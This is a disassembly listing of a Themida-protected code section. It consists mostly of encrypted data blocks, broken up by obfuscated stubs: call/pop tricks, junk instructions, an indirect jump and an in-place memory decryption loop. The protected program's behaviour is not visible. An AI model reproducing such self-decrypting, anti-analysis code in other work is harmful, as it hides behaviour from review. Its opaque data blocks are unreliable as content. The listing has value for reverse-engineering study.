		dd 76E9F2B2h, 28FFFFFFh, 549ED13Dh, 42809728h, 4572A9C9h
		dd 8D8D51C6h, 61BEE7Ch,	2CDAEDB8h, 218D893Fh, 6A061527h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 5CADC356h, 169D952Bh, 85C70615h, 61504CDh
		dd 682Ch, 0BE9h, 36E26D00h, 9975820Fh, 0BDEFDD68h, 111585C7h
		dd 615h, 0B5030000h, 6152479h, 2E0DB5FFh, 6A0615h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 514DE3C3h, 0B8F18BDCh, 55AFBA1Dh, 2C995FFh, 0F7810615h
		dd 3076761Fh, 95FF006Ah, 6152E21h, 7CEBC08Bh, 42B8D16Fh
		dd 0A48E8B51h, 0A045BC39h, 8AA2361Fh, 10EB21C7h, 233B6E9Dh
		dd 25AC0F00h, 7DFA9DC4h, 12547894h, 67E79C67h, 2F6977DBh
		dd 973316C3h, 786617E5h, 0B755EC26h, 0B8CA91Bh,	0D2A15AAAh
		dd 149AA7A8h, 2D54B91Dh, 6880BD1Fh, 930519AAh, 476E1196h
		dd 1DEDC057h, 2EDE7298h, 2DFBB2DEh, 0A463D86Ch,	0A09286BCh
		dd 7D1BEBE2h, 17FD050Bh, 0DCFBA3EEh, 0E680DBC2h, 75F47B71h
		dd 0EF898D8Dh, 0BE66061Bh, 8D89F3AEh, 6152721h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0EEC35141h, 85C76128h
		dd 61504CDh, 74B4h, 3AD28166h, 61B5890Eh, 0C7061525h, 15111585h
		dd 6, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 370BB745h, 0FFF8F7B0h, 152921B5h
		dd 0F5858906h, 0FF06152Eh, 1502C995h, 74BA6606h, 0FF006A0Ch
		dd 152E2195h, 0EBC08B06h, 0C494F94Dh, 22A780A2h, 54680A82h
		dd 5E153C82h, 476B64D9h, 164BE1CAh, 0DFACD4Bh, 71FFB7E9h
		dd 0CD6F04B2h, 36693C56h, 88C9A304h, 7F3FCB19h,	0BB1B1978h
		dd 21556E8Fh, 0BA6E5AA9h, 594F4BC8h, 2FAB4549h,	23EA0DB5h
		dd 673BA2E1h, 8D8DC7EFh, 61BF0FCh, 2B459589h, 8D890615h
		dd 6152721h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	0A6C35646h, 10A70EEAh, 8160BD99h, 0F82FAFEEh, 659D8907h
		dd 61061511h, 4CD85C7h,	5E300615h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 487704C3h
		dd 0CA72ACFh, 55B2763Fh, 19C9B58Bh, 85C70615h, 6151115h
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5E8A97
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E8A97	proc near		; CODE XREF: Themida_:005E8A8Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_5E8A97	endp

; ---------------------------------------------------------------------------
		db 0E0h
		dd 0F7EA1979h, 8B01C12Fh, 15065995h, 78A0F06h, 52000000h
		dd 1A15F4B8h, 0B5FF5829h, 6152E0Dh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 0D4C35747h,	6095FFFBh, 0C995FFE4h
		dd 6A061502h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 77FDC350h, 4E005C4Bh, 0FE9h, 0D466CB00h
		dd 16E0EE02h, 0A1DE0F42h, 0C56EFF2Eh, 95FF006Ah, 6152E21h
		dd 7CEBC08Bh, 46F8532h,	4557F24Ah, 0C62586A9h, 0C4E7F331h
		dd 65A665D7h, 60B981CFh, 66A6C458h, 26919CD9h, 9A6FBB3Bh
		dd 6614F5CCh, 0D5470CEFh, 54019261h, 3EE50CF5h,	0EE0B307Dh
		dd 0E4672A0Fh, 9220841Bh, 0CECD578Ah, 0AD5DF18Eh, 9A42E3C0h
		dd 69AA961h, 66B2AB22h,	95F45BADh, 22265617h, 0E2D0700Bh
		dd 0D7DFDFBh, 5748EFA2h, 85E7DA3Bh, 95CA4382h, 243FCA0Dh
		dd 0C5EC7629h, 79B36AC2h, 0BE8h, 106D5C00h, 0F7903C0Fh
		dd 113451D5h, 24858589h, 15F0615h, 15054D9Dh, 2C78106h
		dd 6600005Fh, 0BB0369BAh, 0
		dd 0FE8h, 29646700h, 79440BB6h,	0CEAA37B5h, 92CD73ADh
		dd 5E9h, 0FE2A5400h, 0FF5A4E82h, 0F513B34h, 685h, 8F0F00h
		dd 59000000h, 1F870F58h, 0E8000000h, 13h, 673CD488h, 2D7DDD96h
		dd 0FC2A62AEh, 6AF8B8B7h, 89B68491h, 15193595h,	0C0815906h
		dd 6FDC0E72h, 2CF9BD29h, 0E8810615h, 6CAC82CDh,	811EE680h
		dd 1F3BBBC0h, 0D38B664Eh, 0E1816650h, 48F0FA0h,	7E91Fh
		dd 0D2960000h, 0CF0227F7h, 0EB83F564h, 0AE804h,	736E0000h
		dd 3B5FD3C4h, 9BDEE982h, 1175B529h, 815A0615h, 0FFA200FBh
		dd 1A850FFFh, 89000000h, 1512D585h, 25E906h, 5FB0000h
		dd 58555F6Dh, 0CD2A3DA3h, 8329CB63h, 0A0A3B953h, 4CE95A8Eh
		dd 7EFFFFFFh, 0F0522747h, 382C95A3h, 0E8110AA5h, 0Ch, 0CE4CCFFAh
		dd 0E83E56BFh, 12F9581Bh, 8820F58h, 0F000000h, 28Bh, 81616000h
		dd 6246C0h, 0D6BF0F00h,	186C68h, 0C3816600h, 15F89D6h
		dd 1502A5BDh, 3130FF06h, 151CB18Dh, 0F08B5906h,	346AC181h
		dd 0B70F550Fh, 0F6E981D2h, 8B7AD5C1h, 1523959Dh, 7DF18106h
		dd 0B21C0726h, 9D8B5181h, 6150AC1h, 9D0B008Fh, 6152351h
		dd 0F04E883h, 684h, 71B50300h, 83061519h, 850F01EFh, 0FFFFFFB1h
		dd 6840F60h, 81000000h,	4E0DEF6h, 8B66607Eh, 0DE8B66C3h
		dd 8D8D6161h, 61BF415h,	16C58589h, 8D890615h, 6152721h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 36C35343h
		dd 30D8131Dh, 55BEE1DCh, 0F36A5B0h, 1582h, 10E900h, 504B0000h
		dd 0C4BC784h, 0E13D7863h, 73436134h, 85C7630Bh,	61504CDh
		dd 58D8h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	7AC35646h, 0DB287848h, 1585C7D6h, 61511h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 115DC355h, 0A4F320EBh, 2890F52h, 60000000h
		dd 0B5FF5A61h, 61533A9h, 0FFD3BF0Fh, 1502C995h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 9E786E88h, 0CA4149BDh, 0FF006A5Bh, 152E2195h, 0EBC08B06h
		dd 6F6A364Fh, 711C1213h, 8D769851h, 71BA815Eh, 0C211A2E7h
		dd 14E0BC3Eh, 0C44F0063h, 38E924FFh, 0B2E0EAF8h, 486B771Dh
		dd 1FA41463h, 0BAD566AAh, 0D6BF4E6Dh, 48B20D0Dh, 0F0ABB8A0h
		dd 5EBA8C62h, 1A553150h, 8F768AABh, 61BBE5F3h, 0C2C81B78h
		dd 0CE8h, 97871F00h, 248B9729h,	0A2782235h, 0CE92Ch, 766A0000h
		dd 729E47AFh, 4AED4794h, 8B5B4541h, 1528E18Dh, 0ACC38106h
		dd 0E9000065h, 6, 301D95DAh, 2E68036Bh,	8A000019h, 0F605AE7h
		dd 381h, 5BE28000h, 0F3B8B61h, 384h, 0F38B6600h, 7BA7C781h
		dd 8D894528h, 6151DC1h,	0E32DF781h, 8B661E7Eh, 60F781CEh
		dd 8B1617C0h, 1525E585h, 8D8B5706h, 6150A6Dh, 0F080038Fh
		dd 0F2EB81CCh, 0E81E1C19h, 12h,	0BFAC290Ah, 6C360164h
		dd 0AA260EBBh, 64F81297h, 81661398h, 5EDEA1CEh,	19EEC381h
		dd 9E91E1Ch, 0FC000000h, 0AD2BE909h, 2576E00Eh,	1EA81h
		dd 850F0000h, 1Fh, 2E1D8D89h, 2AE90615h, 3B000000h, 370A1B02h
		dd 63D14819h, 0B69423EFh, 9A1317C8h, 8B80BFA8h,	15111985h
		dd 0FF5BE906h, 8DDDFFFFh, 1FFB3433h, 0EC0373BBh, 8E820h
		dd 0EB480000h, 0CFB3A0C9h, 0FB8B1FEFh, 3FD38058h, 5BF5C081h
		dd 9D8B0000h, 615254Dh,	810FD233h, 5, 0E1B83FB9h, 234FF4Dh
		dd 5EFEBF0Fh, 12ADBD8Bh, 0C6810615h, 2167BA2Ch,	2D1D8D8Bh
		dd 0F6810615h, 2FDE97AAh, 0F681CE8Bh, 4CC6A255h, 89C88B66h
		dd 81601034h, 2B48B6F1h, 0A595892Dh, 61061506h,	0D0D18166h
		dd 4EA835Ch, 16D5BD89h,	0FA810615h, 0FFFFA4B4h,	1A850Fh
		dd 0E9FC0000h, 2Bh, 0B50FFF15h,	7723C0EDh, 9D9C85A1h, 0AF356B82h
		dd 0FDB3AE4Ch, 24CDBD8Bh, 86E90615h, 0FDFFFFFFh, 22AC3641h
		dd 0B1337849h, 826962E7h, 889A075h, 0DC781469h,	6BDB8DA6h
		dd 2E863630h, 908635A1h, 4813D925h, 99053025h, 14933040h
		dd 81023F25h, 7863025h,	57A69998h, 0A5893023h, 9086305Eh
		dd 4143B5E3h, 4CC83630h, 5AD4CF0Dh, 11A234A4h, 7BD9DFFDh
		dd 57865590h, 9D03BD23h, 6F802857h, 8E76BBF5h, 318FF5A0h
		dd 166E7E23h, 49863025h, 0D42E72F2h, 46A274AEh,	650F30AEh
		dd 6FDE3401h, 5DA69990h, 9803BD23h, 0ED802857h,	0B07EBBF5h
		dd 84863035h, 428638CCh, 0A4899625h, 9086302Bh,	474F3B6Ch
		dd 0DB79C0A0h, 128BD9DAh, 940B3025h, 82937FBBh,	4286359Dh
		dd 0AC65CF25h, 8B702898h, 960BBD23h, 9C802BD3h,	94B61537h
		dd 8247FF0Eh, 889A075h,	0DC781469h, 6BDB8DA6h, 2E863630h
		dd 908635A1h, 4813D925h, 99053025h, 5E98340h, 22B9A4F3h
		dd 0E8000000h, 8, 0FC20CE27h, 0F04D2C5h, 8B525EF8h, 150C758Dh
		dd 0C6815906h, 5F6Ah, 86013EB9h, 0FA6AB83Ch, 0C0817FCFh
		dd 80301D46h, 8C0CE781h, 36FF53D0h, 9E85Bh, 224A0000h
		dd 504AB207h, 8B43A1CDh, 151C8D95h, 0EB815906h,	11F38843h
		dd 4C6EEB81h, 8B500B84h, 0EB8159CBh, 4E874281h,	2D698D8Bh
		dd 89530615h, 1507A58Dh, 0E8068F06h, 5,	0FDBB11CDh, 0F58D8BBDh
		dd 59061516h, 0F363EE81h, 0DE95DC5h, 0F5000000h, 0CB5798E8h
		dd 905E7ACDh, 92983D99h, 0F35FC681h, 1CB25DC5h,	1E881h
		dd 850F0000h, 0FFFFFF86h, 0A583D781h, 9E940EDh,	14000000h
		dd 4CBCE4h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5E99DF
; ---------------------------------------------------------------------------
		db 0EEh, 90h, 20h
		dd 0EB5BDE55h, 2898150Ah, 0E252D64Dh, 2E9E1C13h, 685B5047h
		dd 24FB9A0Ah, 6DC253C3h, 29F69F0Fh, 8BB5ACAh, 55A7F46h
		dd 6021169Dh, 0F296B6DCh, 69CA1086h, 0EA8E1CF9h, 6121A4BAh
		dd 0FC169C21h, 9A1E132Bh, 7713EC2Ah, 0D646A4BDh, 3293F03Fh
		dd 93C24E93h, 331C2D16h, 34A4062Bh, 2494F102h, 58321DF2h
		dd 0F666C5DEh, 3CBDF6E8h, 0C23059CCh, 0EABB1693h, 0DDD949A9h
		dd 6D0C0AE0h, 3ABEF3E9h, 0C2365BCAh, 0E4B51693h, 0A3248B06h
		dd 0A6169420h, 0E5B09F70h, 0BD4A6DD0h, 42F39Dh,	24C70000h
		dd 2B8856C6h, 6D6254C4h, 0B951C126h, 9404667Bh,	0FFAEE7A2h
		dd 1BFA6AC8h, 0A81E2386h, 1EA997h, 247D0000h, 0E56056C6h
		dd 1086F2B9h, 4C7B62CFh, 19977EEEh, 2Dh, 30A0220Fh, 0B9610906h
		dd 6056C624h, 86F2BEE5h, 0DF4FB010h, 0F767CAD7h, 2366DDBFh
		dd 0CA1086F2h, 6D60C7F9h, 7568D176h, 0F580F052h, 0DB0BAB47h
		dd 0EBFCD903h, 1695BA70h, 4E93320Ch, 2D1086DCh,	0F74F6E1Ch
		dd 86169C0Fh, 157081B5h, 0E263D0A5h, 2B64472h, 9DCB0CD2h
		dd 0CCE52C65h, 20ADF44Fh, 7F501693h, 0BAA4BA50h, 8F87F779h
		dd 86F675BEh, 20C5B9E4h, 0B788108Eh, 0AA15847Fh, 2889EB48h
		dd 0AC20749Dh, 926F71Ch, 0D95A300Dh, 1A09EC5Ch,	88EB2B9Bh
		dd 1CAC2031h, 0DED848AFh, 0C4F262C5h, 0C91AC52Ch, 4A7D30D7h
		dd 8E9A7BEBh, 73E3624Fh, 32622197h, 2443270Ah, 866557C7h
		dd 2673A6A2h, 2EB968A8h, 0CD000000h, 0BCE010ABh, 0E0A864Fh
		dd 2B1794ABh, 346FD3Fh,	0EA1086C1h, 8D4FE3D9h, 45EDA848h
		dd 0AE06C45h, 59C92412h, 0B5725663h, 41h, 0E3624FD1h, 4A65D557h
		dd 2197734Ch, 22921662h, 97181BF4h, 4F140827h, 86F2ADF4h
		dd 0EDF1DE10h, 55D763C4h, 0F3DCB1E5h, 0FC20CAC3h, 0C4248D4Fh
		dd 96BB8A54h, 551086F2h, 246EA644h, 566359C9h, 57C72472h
		dd 732FE45Fh, 179E108Bh, 2C9C1FA8h, 4DAC0549h, 0E2D444C1h
		dd 0EB28C2EDh, 121F1787h, 0B35640B0h, 76F4D3FAh, 0C6EB6F06h
		dd 9716F464h, 97AC9B12h, 329Ah,	8D4F6E00h, 86F293B6h, 0FF6FCD10h
		dd 2D5AC6B7h, 625B5BCBh, 0F6C9D4Dh, 6D11979Fh, 0B110213Dh
		dd 3093A941h, 169C0920h, 0D64A4C5Dh, 467604Fh, 4F3B0194h
		dd 4571E162h, 1271A248h, 37BB9CA2h, 0C8DE76B5h,	331913F7h
		dd 0D0979FEh, 0A0605A30h, 4669D954h, 46B63B78h,	0F3392A4h
		dd 2E169CE7h, 0E470992Ch, 2AFB1690h, 40C37005h,	595FE6D0h
		dd 0D092EF4Ah, 0D242A50Eh, 0A44E8138h, 0CFBB2B8Fh, 0A471E162h
		dd 0F821A4BAh, 839A0E72h, 0F019ACB2h, 7B9A0E72h, 0F053C0AAh
		dd 0D3F6CD8Fh, 9A9A0E72h, 72F51C89h, 8B789A0Eh,	8D82B424h
		dd 1F898DA2h, 0B40F2F5Fh, 9C1373ACh, 735C0D1h, 54EF10ABh
		dd 1086F20Dh, 0CCF0DFF0h, 6DDD624Fh, 0B9E06329h, 441086F2h
		dd 80AE5C73h, 57C7247Ch, 0A6A28665h, 68A82673h,	173A09D3h
		dd 0D61386F2h, 41F525C5h, 11000000h, 0BCE010ABh, 0F2ADF44Fh
		dd 7F501086h, 6B7C765Fh, 0B60B2F5Dh, 624F60D4h,	4A4373E3h
		dd 249E9EA0h, 4F6359C9h, 6B1A4A86h, 12F879A9h, 47AA0753h
		dd 0A5EEDFD7h, 0E1DED848h, 2EB51109h, 0D1000000h, 0BCE010ABh
		dd 0F2ADF44Fh, 0D5DE1086h, 0F363C652h, 0D2E5CAC3h, 1F0CFDEDh
		dd 9389A698h, 864F6B4Fh, 3F8DB82Ch, 0E724C63Dh,	56261686h
		dd 0E1624F72h, 1B989971h, 90A16BABh, 7A29C131h,	108B73C5h
		dd 5C2ED74h, 0D05F36A6h, 1F140272h, 4CEB2B9Bh, 0ED4D7A65h
		dd 0A00D987Dh, 2897AC9Bh, 3Eh, 57C72404h, 0F525D95Fh, 65E5AE9h
		dd 0CEDF169Ch, 0CE3EC3F0h, 8001F21Ch, 0AF0D2610h, 5940F73Fh
		dd 0D1B37D66h, 0E611380Bh, 3A731693h, 45ECA17Fh, 0B081987h
		dd 5B5634A4h, 80F05374h, 0C72447F5h, 25D95F57h,	4E5AE9F5h
		dd 0CF169C09h, 0FE3317FEh, 0BB5F0B7Bh, 0DEE010ABh, 4E475FF9h
		dd 9377F66Eh, 248D4F9Fh, 0A5EC59C9h, 481086F2h,	50C03C77h
		dd 93816966h, 9A0A68C9h, 53C7A39Ch, 0DF66C724h,	1086F2BAh
		dd 5D5F7041h, 73A6A286h, 0B968A826h, 2Ah, 0E010ABCDh, 0DE624FBCh
		dd 0BBA7C6Eh, 1086F2C6h, 4FA894A5h, 59C9246Bh, 0B5725663h
		dd 4Ah,	6A1FE2F3h, 3F8DA69Eh, 624FE74Bh, 0ACE778E0h, 0E3754AC6h
		dd 15F5CACCh, 8CB0E09Bh, 0F2ADF44Fh, 0C5EE1086h, 0CEBFF767h
		dd 242D0A1Ch, 0F889873Ah, 4F0D0F20h, 53C3248Dh,	9575E560h
		dd 61C9249Dh, 788D296Eh, 0F02C0364h, 624F7256h,	0EA6479E1h
		dd 0EFCFB847h, 0DEF9D6C0h, 918FAB1Eh, 0D1422833h, 0F73C0272h
		dd 3D120474h, 0AF64DF4Dh, 1E108B0Eh, 1C9F2897h,	0D95AC9ACh
		dd 3C7AEA4Dh, 0C02A6C43h, 0D00ED000h, 0C12370Eh, 0C8D91082h
		dd 0DB838322h, 0C9D21698h, 0EABC1711h, 791C3331h, 0E010ABB3h
		dd 244327BCh, 866557C7h, 2673A6A2h, 3DB968A8h, 0CD000000h
		dd 0BCE010ABh, 0F2ADF44Fh, 7F501086h, 246B4F3Dh, 4BBB3DC9h
		dd 5F5D724Bh, 8D4F7256h, 86F293B6h, 0A1495A10h,	3501h
		dd 9E253700h, 1086F27Bh, 0F2FC25A0h, 0AE7F1086h, 0D14921F2h
		dd 0DEE010ABh, 4E656D5h, 0ADF44F10h, 0DE1086F2h, 6B4FCBF1h
		dd 6DDD624Fh, 0B852C226h, 928AFA7Bh, 0C7247256h, 0FA4E8757h
		dd 1282E709h, 970C2B24h, 87AC361Bh, 0B46D290Dh,	0BE45EF9Bh
		dd 108B2B09h, 4500DEC0h, 1082281Ch, 751CCEDFh, 8EFE7D4Ah
		dd 4BBB38E7h, 0E85B814Bh, 108228A1h, 298F7B4Ch,	0AA192555h
		dd 169F22E6h, 0AA1A9A87h, 0D9BC936Ch, 50C03C75h, 99816966h
		dd 0BCE010ABh, 0C7244327h, 0A2866557h, 0A82673A6h, 2FB968h
		dd 0E6EF0000h, 5CE67AC7h, 7DB55528h, 0BCE010ABh, 0F44F8D4Fh
		dd 1086F2ADh, 308B7F50h, 1086F2E9h, 4F998394h, 59C9246Bh
		dd 0B5725663h, 37h, 0E010ABD1h,	0E2624FBCh, 66506572h
		dd 9C900553h, 0B4DD68EEh, 0D510866Fh, 0D8EAB100h, 0D2ABEB5Bh
		dd 5A364305h, 8BB19EB0h, 6DDD624Fh, 0A0B65429h,	59C9249Ch
		dd 24725663h, 0D95F57C7h, 0ECE9F525h, 9D333892h, 56349Ah
		dd 9C82B145h, 0D1574416h, 916F5661h, 0DCEB458Eh, 0FB3822F3h
		dd 2C660474h, 0C3825C8Ch, 10B73B46h, 69B01315h,	871CB738h
		dd 3A0BB525h, 0CFF991Dh, 0AA851AF8h, 84F4776Ch,	89F979BAh
		dd 1E9D92E1h, 0F66F57B6h, 0A7888631h, 2DD0146Fh, 0E95571Fh
		dd 0BB82539Fh, 0DCBF02E1h, 0CF3FBDF6h, 1714F6C7h, 0E2512494h
		dd 0ACC5F161h, 0DBDADC4Ch, 0E744832Ah, 77BC9E77h, 0BA9383F3h
		dd 70E063D0h, 1CBE46h, 0E2FC0000h, 5E1B3E63h, 0FEECBD46h
		dd 446D2F16h, 4F3D79E9h, 86F2ADF4h, 507F5010h, 0CA2482BAh
		dd 0E4475C5Ah, 0D3314274h, 0B93E3363h, 0D6544D49h, 0BF433066h
		dd 0D65A474Fh, 0C2433066h, 0EA4F6452h, 52783C7Ah, 0C281E289h
		dd 4, 8704EA83h, 248B2414h, 7CE26824h, 1C890000h, 1F0B6824h
		dd 0C890000h, 0CE685024h, 584C631Ah, 0AD1DF435h, 11BE5606h
		dd 0C1200C2Bh, 0F68104E6h, 34C53AADh, 0DEF7DEF7h, 0E107C681h
		dd 0F0210A21h, 0C362D5Eh, 0C38903ECh, 0C8B5458h, 4C48124h
		dd 53000000h, 1B1BB951h, 4C010F99h, 8F590424h, 69810841h
		dd 991B1B08h, 240C8B0Fh, 81E78957h, 4C7h, 4C78100h, 87000000h
		dd 0FF5C243Ch, 815B2434h, 4C4h,	7EACE900h, 0CB67FFF9h
		dd 37B2C23Dh
; ---------------------------------------------------------------------------
		rcl	eax, 1
		pop	ebp


loc_5E99DF:				; CODE XREF: Themida_:005E91F4j
		mov	eax, 61BFF10h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 200CEFEEh, 562F7D3Eh, 687A83B0h, 45A0BDF4h, 45C1FD68h
		dd 7BAADFAEh, 11CFB437h, 5C5A3DDh, 4D49E454h, 541D14A1h
		dd 390E3844h, 2E3CAA2Fh, 6CAA5234h, 13E8h, 58283F00h, 426E927Ch
		dd 78817F7h, 0C51083F8h, 0D91AF36Eh, 0BA5BC68Bh, 34B77E18h
		dd 69A7C381h, 0F500000h, 480h, 3BB86600h, 39BF58AAh, 8B00001Ah
		dd 0AE80Bh, 0F6CE0000h,	48EA90F9h, 0E37C9C8h, 0AE952h
		dd 0E3F50000h, 0B44B2F21h, 518137E2h, 0F181585Ah, 69257C4Eh
		dd 0C18156B4h, 7B30665h, 5AF28166h, 27C18124h, 661D4C6Fh
		dd 8051D38Bh, 38F82DEh,	0EB83F78Bh, 0F0B70F04h,	0F01EF83h
		dd 2485h, 6E900h, 0C59D0000h, 807B6D69h, 2FE9h,	2375AC00h
		dd 5E42BFDAh, 0EFC26868h, 0CC19C368h, 2F6F3602h, 324FBE69h
		dd 7CE9069Ch, 41FFFFFFh, 84922217h, 46CE7579h, 1A98625h
		dd 5B2AFB81h, 1638D8Dh,	8B66061Ch, 0D850FC6h, 0E9000000h
		dd 8, 395C3247h, 0A2228744h, 27218D89h,	0BD230615h, 6153399h
		dd 4CD85C7h, 6EE40615h,	0DE810000h, 3F46B226h, 111585C7h
		dd 615h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h,	44810424h
		dd 170424h, 53430000h, 5F6EB9C3h, 25B5896Ch, 0FF061529h
		dd 153375B5h, 81853306h, 0FF061527h, 1502C995h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 5EFD2218h, 0D5EB24B1h, 8166E0EDh, 6AD667CAh,	2195FF00h
		dd 8B06152Eh, 0EA0AEBC0h, 0C8264CA7h, 7AFED267h, 878D8D61h
		dd 6A061C02h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 5D37C357h, 0E97DB603h,	12h, 1A3BC6Fh
		dd 0F42AAAFBh, 0E0C0341Ah, 47351328h, 8D89B124h, 6152721h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 45C35343h
		dd 0ACADB1D9h, 5890F43h, 66000000h, 1E33C281h, 0C6D9D8Bh
		dd 85C70615h, 61504CDh,	6BA0h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 0B0C35545h,	15DDB509h, 0BD890615h
		dd 6152509h, 111585C7h,	615h, 0B5890000h, 6150401h, 10F1B5FFh
		dd 6A0615h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 0D76D4DC3h, 7CE4EA94h, 95FFF9FEh,	61502C9h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0FFC35242h
		dd 4840F35h, 66000000h,	6A68F9BEh, 2195FF00h, 8B06152Eh
		dd 1878EBC0h, 46FC4B57h, 0ACA562CBh, 0CDD457FBh, 20EB115Dh
		dd 5FCCA4F3h, 7567713Ah, 6645D2ECh, 0BD08A6FEh,	0B4DA5603h
		dd 328FCFD3h, 0A3728794h, 0B510931Fh, 4B2E3588h, 92A377C5h
		dd 8CAACDFBh, 34CC2BC2h, 93D90A2h, 0D0046D68h, 0E325956h
		dd 0F2A20EFFh, 9FF4757Fh, 8A31DF0Bh, 0F0437034h, 0DE5D28EAh
		dd 0F14F7327h, 7936542Ch, 52DBE427h, 9634E09Ch,	67C918BCh
		dd 0E88CEB9Dh, 10h, 831238B3h, 0B95B6032h, 571E30AAh, 0C83C2701h
		dd 5EC78B66h, 0B723F081h, 0C68132D7h, 6107h, 68BBB3h, 8B000000h
		dd 0FC535FC7h, 3E0C8B5Bh, 0D4DB8166h, 0CBF1813Dh, 0B4E97C5h
		dd 151D7185h, 3DF18106h, 8928F787h, 15172D95h, 0C2F18106h
		dd 0F591C12h, 684h, 35858B00h, 51061529h, 0C140DA81h, 48F1FF7h
		dd 1595893Eh, 89061503h, 1519F195h, 0A0EF8106h,	92A29FAh
		dd 1512ADB5h, 9CC78106h, 0B2A29FAh, 15199995h, 94FF8106h
		dd 0FFFFF9Fh, 0FFFF9485h, 318D89FFh, 8D061527h,	1C04928Dh
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 96059A6Eh, 14E8A3h, 47690000h, 0BCA9EB68h
		dd 6CD588D5h, 825A1560h, 0B67AF512h, 0BB660226h, 895EFA96h
		dd 1527218Dh, 0EB816606h, 85C7585Ch, 61504CDh, 728Ch, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 3BC35040h, 0FB78C1D4h
		dd 19BD8B93h, 0C7061523h, 15111585h, 6,	53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
		dd 13E8E0h, 98920000h, 4A82E201h, 82E8BF80h, 4AE2F908h
		dd 0A5D1D2E0h, 0A19D8B19h, 5B061509h, 1D45B5FFh, 95010615h
		dd 6150219h, 2C995FFh, 7E90615h, 4C000000h, 6CA23863h
		dd 6ADA87h, 2E2195FFh, 0C08B0615h, 90F70BEBh, 0E7B292F8h
		dd 0AF37A02Dh, 688D8D7Eh, 8B061C05h, 152C9185h,	218D8906h
		dd 60061527h, 79858B60h, 0E9061529h, 0Ch, 3106CBDAh, 0F2923833h
		dd 30933F8Fh, 0CEB70F61h, 0CD85C761h, 0D8061504h, 6A000064h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 0D06BC353h, 111585C7h, 615h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 83BA4BC3h, 37C2E05Ah, 1365C61h, 150C35BDh, 95B5FF06h
		dd 89061505h, 1519AD8Dh, 0C995FF06h, 6A061502h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 7DF5C350h, 25FBEA75h, 95FF006Ah
		db 21h,	2Eh, 15h
; ---------------------------------------------------------------------------


loc_5E9F97:				; DATA XREF: Themida_:0057B3DCo
		push	es
		mov	eax, eax
		jmp	short loc_5EA006
; ---------------------------------------------------------------------------
		dd 0EA890D1Ah, 3F8A8A07h, 705A73E4h, 195DC509h,	61B42056h
		dd 0FDEDA0C3h, 3C0489CFh, 9F6178B7h, 434371DEh,	9FB1BB15h
		dd 9FD50D2Eh, 0F3478A22h, 59AD0CBDh, 349D069Fh,	11FF97BDh
		dd 864EE295h, 941881CCh, 4011D0D5h, 0A7ADBA15h,	0FE8FCB49h
		dd 9C22F12Dh, 61A7ED0h,	7B3D7AA2h, 0BE845930h, 0C5EFD5DDh
		dd 6620D8A3h
		db 0A3h, 73h
; ---------------------------------------------------------------------------


loc_5EA006:				; CODE XREF: Themida_:005E9F9Aj
		call	sub_5EA013
		stosd
		in	eax, dx
		xchg	ax, si
; ---------------------------------------------------------------------------
		db 8Eh
		db 89h,	0D5h, 0F3h

; =============== S U B	R O U T	I N E =======================================



sub_5EA013	proc near		; CODE XREF: Themida_:loc_5EA006p
		or	[ebp+6152F61h],	ecx
		pop	eax
		clc
		add	eax, 7105h
		mov	ecx, esi
		mov	edi, 558371D9h
		sub	edi, 558355B3h
		sbb	cx, 1A84h


loc_5EA033:				; CODE XREF: sub_5EA013+59j
		mov	esi, [eax]
		movsx	edx, bx
		sub	esi, 582B7A40h
		mov	[ebp+61508F1h],	edi
		xor	esi, 258FF60Fh
		mov	[ebp+61522D9h],	eax
		add	esi, 23EEAECh
		mov	[eax], esi
		mov	[ebp+6150331h],	ecx
		sub	eax, 4
		jmp	loc_5EA06B
; ---------------------------------------------------------------------------
		mov	ebp, 24C466FBh


loc_5EA06B:				; CODE XREF: sub_5EA013+4Ej
		dec	edi
		jnz	loc_5EA033
		jmp	loc_5EA07C
; ---------------------------------------------------------------------------
		db 29h
		dd 86049BAh
; ---------------------------------------------------------------------------


loc_5EA07C:				; CODE XREF: sub_5EA013+5Fj
					; DATA XREF: Themida_:0057BD08o
		lea	ecx, [ebp+61C0737h]
		push	0
		push	ecx
